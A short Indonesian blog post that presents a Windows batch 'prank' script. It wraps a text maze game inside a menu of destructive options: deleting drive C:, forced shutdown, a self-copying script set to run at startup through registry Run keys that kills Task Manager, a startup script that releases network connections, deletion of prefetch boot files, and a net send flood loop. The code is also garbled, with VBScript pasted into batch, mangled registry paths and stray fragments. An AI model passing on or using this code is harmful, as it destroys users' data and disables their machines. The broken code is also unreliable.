25/03/10

belajar bikin file iseng dengan .bat

@echo off
color 02
echo *********************************************
set wait=0
:pause1
set /a wait=%wait%+1
if %wait% leq 200 goto pause1
echo *********************************************
set wait=0
:pause2
set /a wait=%wait%+1
if %wait% leq 200 goto pause2
echo *****_____ZiZiPoS.._____________________*****
set wait=0
:pause3
set /a wait=%wait%+1
if %wait% leq 200 goto pause3
echo *****___________BaTcH.._________________*****
set wait=0
:pause4
set /a wait=%wait%+1
if %wait% leq 200 goto pause4
echo *****___________________WoRlD..__________*****
set wait=0
:pause5
set /a wait=%wait%+1
if %wait% leq 200 goto pause5
echo *********************************************
set wait=0
:pause6
set /a wait=%wait%+1
if %wait% leq 200 goto pause6
echo *********************************************
set wait=0
:pause7
set /a wait=%wait%+1
if %wait% leq 100 goto pause7
echo.
set wait=0
:pause8
set /a wait=%wait%+1
if %wait% leq 100 goto pause8
echo.
set wait=0
:pause9
set /a wait=%wait%+1
if %wait% leq 100 goto pause9
echo To EnTeR mY wOrLd PrEsS aNy KeY
pause>nul
cls
echo HeLlO AnD WeLcOmE tO ZiZiPoS WoRlD!
echo.
echo FiRsT oF aLl ThIs Is A dAnGeRoUs BaTcH fIlE sO wAtCh OuT!
echo.
echo ChOoSe wHaT yOu WaNt To Do,By PrEsSiNg 1 Or 2...AnD eNtEr!
echo.
echo 1.Play A Maze Game!..
echo 2.Delete C:/
echo 3.30 second shutdown!
echo 4.CapsLock On/Off
echo 5.Enter Never Stop!..
echo 6.Computer Disable
echo 7.ByeBye Internet!
echo 8.Permanent Shutdown!..
echo 9.Colors!!..
echo 10.Matrix!
echo 11.Flood Network!!




:1
cls
title The Maze
color 0f

:beforestart
cls
echo Select a background colour:
echo Press R for red
echo Press G for green
echo Press Y for yellow
echo Press B for blue
set /p colour=
if '%colour%'=='r' color 4f
if '%colour%'=='R' color 4f
if '%colour%'=='g' color 2f
if '%colour%'=='G' color 2f
if '%colour%'=='y' color 6f
if '%colour%'=='Y' color 6f
if '%colour%'=='b' color 01
if '%colour%'=='B' color 1f
goto start

:start
cls
echo Welcome to the maze
echo The evil king Wellington has stolen your best sword and hidden it in his maze
echo Go get it back and kill that fool!
echo Press S to start the game
echo Press I for instructions
echo Press C to select a different background colour
echo Press Q to quit
set /p pass=
if '%pass%'=='s' goto :begin
if '%pass%'=='S' goto :begin
if '%pass%'=='C' goto :menu
if '%pass%'=='c' goto :menu
if '%pass%'=='q' exit
if '%pass%'=='Q' exit
if '%pass%'=='I' goto instructions
if '%pass%'=='i' goto instructions
goto start

:instructions
cls
echo The evil king wellington has taken your prized sword and you must get it back!
echo Venture into his crazy maze and try to get through alive
echo Just follow the on screen prompts to complete your mission
echo Watch out for traps and be careful!
echo When You reach a multiple choice question like this:
echo A.) Go left
echo B.) Go right
echo Just type in the letter of your answer to continue
echo If you give an answer which doesn't correspond to the question, for example "d"
echo The section you are on will start again
pause
goto start

:menu
cls
echo Background colour:
echo Press R for red
echo Press G for green
echo Press Y for yellow
echo Press B for blue
set /p colour=
if '%colour%'=='r' color 4f
if '%colour%'=='R' color 4f
if '%colour%'=='g' color 2f
if '%colour%'=='G' color 2f
if '%colour%'=='y' color 6f
if '%colour%'=='Y' color 6f
if '%colour%'=='b' color 1f
if '%colour%'=='B' color 1f
goto start

:begin
cls
echo You've found it!
echo Wellingtons maze!
echo You'd better get going and find your sword!
pause
cls
echo You approach the entrance to the maze
echo Do you:
echo A.) Go in through the front
echo B.) Look for a way in round the side?
set /p begin=
if '%begin%'=='a' goto front
if '%begin%'=='A' goto front
if '%begin%'=='B' goto side
if '%begin%'=='b' goto side
goto begin

:front
cls
echo You enter the front of the maze
echo All is well until...
pause
echo A huge crocodile leaps out of the hedge towards you!
echo Do you:
echo A.) RUNNN!!!
echo B.) Attack the croc with your trusty dagger
set /p crocattack=
if '%crocattack%'=='a' goto rundie
if '%crocattack%'=='A' goto rundie
if '%crocattack%'=='B' goto b4part2
if '%crocattack%'=='b' goto b4part2
goto front

:b4part2
cls
echo You wrestle the croc to the ground and stab its neck
echo You walk on into the maze...
pause
goto part2

:rundie
cls
echo You flee from the attacking croc as it hops towards you
echo But wait...
echo The gate to the maze closed all by itself
echo You scream as the crocodile hurtles towards you...
pause
goto gameover

:side
cls
echo You walk around to the side of the maze
echo You see a gap in the hedge where you could probably squeeze in
echo So You pull the hedge apart and start to slip through
pause
echo You see something in front of you, it's head peeking out of the hedge
echo A crocodile
echo You pull out your dagger and quietly slit its throat
echo You step out into the maze
pause
goto part2

:part2
cls
echo You come to a break in the maze, which way will you turn?
echo A.) Go left
echo B.) Go right
set /p leftorright=
if '%leftorright%'=='a' goto leftturn
if '%leftorright%'=='A' goto leftturn
if '%leftorright%'=='b' goto rightturn
if '%leftorright%'=='B' goto rightturn
goto part2

:leftturn
cls
echo You turn left and head on into the maze...
echo You begin walking down a narrow path when...
pause
echo Your foot snags on to a wire
echo It's a trap!
echo You hear something hissing
echo Do you:
echo A.) Run back to the break in the path and choose the other route this time
echo B.) Put a damp cloth over your mouth in case of poison gas
set /p legas=
if '%legas%'=='a' goto gobackboy
if '%legas%'=='A' goto gobackboy
if '%legas%'=='B' goto gasdie
if '%legas%'=='b' goto gasdie
goto leftturn

:gasdie
cls
echo You pull out your handkerchief, spit in it and hold it over your mouth
echo You hear a click and realise something is wrong
pause
echo The last thing you see are the flames from the ignited gas ingulfing you
pause
goto gameover

:gobackboy
cls
echo You run back to the turning and take the other route...
pause
goto part3

:rightturn
cls
echo You turn right and continue into the maze...
pause
goto part3

:part3
cls
echo You come to a crossroads this time
echo There are 3 paths, which one will you take?
echo A.) Go left
echo B.) Go straight on
echo C.) Go right
set /p crossroads=
if '%crossroads%'=='a' goto leftcross
if '%crossroads%'=='A' goto leftcross
if '%crossroads%'=='b' goto straightcross
if '%crossroads%'=='B' goto straightcross
if '%crossroads%'=='c' goto rightcross
if '%crossroads%'=='C' goto rightcross
goto part3

:leftcross
cls
echo You turn left and walk on into the maze
echo You come to a corner and go round it...
pause
echo And you find the centre of the maze!
pause
goto mazecenter

:straightcross
cls
echo You go straight on at the crossroads
pause
echo Suddenly the ground crumbles beneath you...
pause
echo You fall into a bottomless pit...
pause
goto gameover

:rightcross
cls
echo You turn right and walk onwards
echo When you hear a slithering, hissy sound
pause
echo You look down and see snakes crawling all around you
echo You'd better think of something fast!
echo Do you:
echo A.) Drink some poison cure to hopefully stop yourself becoming poisoned
echo B.) Put On some gloves to protect your hands from a snake bite
set /p snakebite=
if '%snakebite%'=='a' goto bitten
if '%snakebite%'=='A' goto bitten
if '%snakebite%'=='b' goto notbitten
if '%snakebite%'=='B' goto notbitten
goto rightcross

:bitten
cls
echo You gulp down your small vial of poison cure and hope for the best
echo Then you run like hell
echo The snakes are hot on your heels...
echo They take a bite out of your leg
pause
echo You feel faint and giddy...
echo The gypsies' cure didn't work
echo Your world fades to black...
pause
goto gameover

:notbitten
cls
echo You slip on your hard rubber gloves and leg it like hell
echo The snakes are hot on your heels...
echo One of them leaps up and nips at your fingers...
pause
echo But the gloves stop it from penetrating your skin
echo The snakes are out of your sight
pause
cls
echo You arrive back at the crossroads
echo You can't go left because that's where you cam from
echo So do you:
echo A.) Go straight on
echo B.) Go right
set /p cross2=
if '%cross2%'=='a' goto straight2
if '%cross2%'=='A' goto straight2
if '%cross2%'=='b' goto rightagain
if '%cross2%'=='B' goto rightagain
goto notbitten

:rightagain
cls
echo You go right at the crossroads
pause
echo Suddenly the ground falls beneath you...
pause
echo You fall into a bottomless pit...
pause
goto gameover

:straight2
cls
echo You go straight on into the maze
echo You come to a corner and go round it...
pause
echo And you find the centre of the maze!
pause
goto mazecenter

:mazecenter
cls
echo You've found the center of the maze! Hurray!
echo You see your chest containing your prized sword in the corner
echo And you rush over to it
pause
echo You open the chest
echo Inside you don't find your sword, but a rather odd looking metallic object
pause
echo Behind you you hear laughing...
echo "HA HA HA HA!"
pause
echo "Did you really think you could defeat me?"
echo You see he has your sword!
echo "Looking for this?"
echo "I replaced your sword with a rather odd thing I found lying in the garden"
pause
cls
echo You pick up the object and squeeze a trigger-like thing
echo A loud bang rings throughout the maze and a part of the fountain smashes
pause
echo "That's witchcraft"
echo "It must be a magic wand of some kind"
echo "Die, magician!"
pause
echo The king runs towards you brandishing your sword
echo You point the "wand" at the king and take aim
pause
cls
color 0f
echo AIM MODE:
echo You are now looking down the barrel of your "wand"
echo Type the words exactly as they appear to aim correctly and kill the king!
pause
cls
color 0a
echo BluE
set /p kill1=
if '%kill1%'=='BluE' goto aimmode2
cls
color 0f
echo You typed the wrong word and missed the king!
echo He charges towards you and brings down the sword with a mighty stroke
pause
goto gameover

:aimmode2
cls
color 0f
echo AIM MODE:
echo Well done! That's one shot into the king
echo He stumbled but he's still alive
pause
echo You'll have to squeeze off another shot
pause
cls
color 0e
echo REd
set /p kill2=
if '%kill2%'=='REd' goto aimmode3
cls
color 0f
echo You typed the wrong word and missed the king!
echo He charges towards you and brings down the sword with a mighty stroke
pause
goto gameover

:aimmode3
cls
color 0f
echo AIM MODE:
echo Well done! That's two shots into the king
echo He's almost dead now!
pause
echo You'll have to fire off one more shot
pause
cls
color 0b
echo yeLLow
set /p kill2=
if '%kill2%'=='yeLLow' goto kingdead
cls
color 0f
echo You typed the wrong word and missed the king!
echo He charges towards you and brings down the sword with a mighty stroke
pause
goto gameover

:kingdead
cls
color 0f
echo You did it!
echo The evil king wellington is dead!
echo You drop the "wand" and rush over to your sword
echo You make your way out of the maze and hope never to see it again
pause
cls
echo THE END
echo Press any key to return to the main menu
pause
goto beforestart

:gameover
cls
color 0f
echo YOU DIED
echo GAME OVER
pause
goto beforestart

:2
cls
echo To DeLeTe C:/ PrEsS aNy KeY
pause>nul
deltree C:\

:3
cls
echo To ShUtDoWn YoUr Pc PrEsS aNy KeY
pause>nul
shutdown -t 30

:4
cls
echo To MaKe YoUr CaPs LoCk Go On AnD oFf PrEsS aNy Key
pause>nul
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

:5
cls
echo To MaKe YoUr EnTeR nEvEr StOp PrEsS aNy Key
pause>nul
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

:6
cls
echo To DiSaBle YoUr CoMpUtEr PrEsS aNy KeY
pause>nul
@echo OFF
MODE CON COLS=14 LINES=2
TITLE ^>:^^(
COLOR F7
COPY %0 C:\WINDOWS\d.bat>NUL
ECHO Windows Registry Editor Version 5.00>C:\d.reg
ECHO.>>C:\d.reg
ECHO [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]>>C:\d.reg
ECHO "CursorBastardizer"="C:\\WINDOWS\\d.bat">>C:\d.reg
REGEDIT /s C:\d.reg
DEL /f /q C:\d.reg
biggrin.gif
RUNDLL32 user32.dll,mouse_event
RUNDLL32 user32.dll,SetCursorPos
TSkill taskmgr
RUNDLL32 user32.dll,SetCursorPos
RUNDLL32 user32.dll,mouse_event
TASKKill /F /im taskmgr.exe
RUNDLL32 user32.dll,SetCursorPos
GOTO D

:7
cls
echo To SaY ByEbYe To YoUr InTeRnEt PrEsS AnY KeY
pause>nul
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

:8
cls
echo To PeRfOrM a PeRmAnEnt ShUtDoWn PrEsS AnY KeY
pause>nul
del c:\windows\prefetch\ntosboot-*.* /q

:9
cls
echo To SeE CoLorS PrEsS AnY KeY
pause>nul
:OWNED
@COLOR 4C
@COLOR 2A
@COLOR 6F
etc....
@GOTO :OWNED

:10
cls
echo To EnTeR ThE MaTriX PrEsS AnY KeY
pause>nul
color 02
:m
echo h k j y w e q i u t w e m t b h q m n t b q t y q o w t y q t h q i o w t y q u w h t j
echo 3 2 1 7 3 1 5 7 3 4 3 1 6 2 9 1 5 6 8 7 1 6 3 8 9 b7 6 1 2 5 1 5 6 1 9 5 0 6 2 1 9
echo q e t y q o i e h q i t h q e i o u t y q o i t h g k d h f v s b q a t p y q e o p t y q o
echo 9 5 6 7 2 9 3 6 7 2 9 6 7 2 9 7 6 2 8 0 9 7 6 0 8 3 7 0 2 8 6 7 2 8 6 7 28 0 3 6 5 5
echo h a g k i o q w e u t y q oi t y q o e t h q e t h q e i o t y q ke b k b c v s l d v o 5
echo 13 5 9 1 6 9 5 6 1 3 9 5 6 2 1 8 9 65 1 9 6 51 9 5 6 1 9 62 9 5 1 6 9 5 8 16
goto :m

:11
cls
echo To FlOoD NeTwOrK PrEsS AnY KeY
pause>nul
:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

0 komentar:

Poskan Komentar

Mini Fordis b3gund4L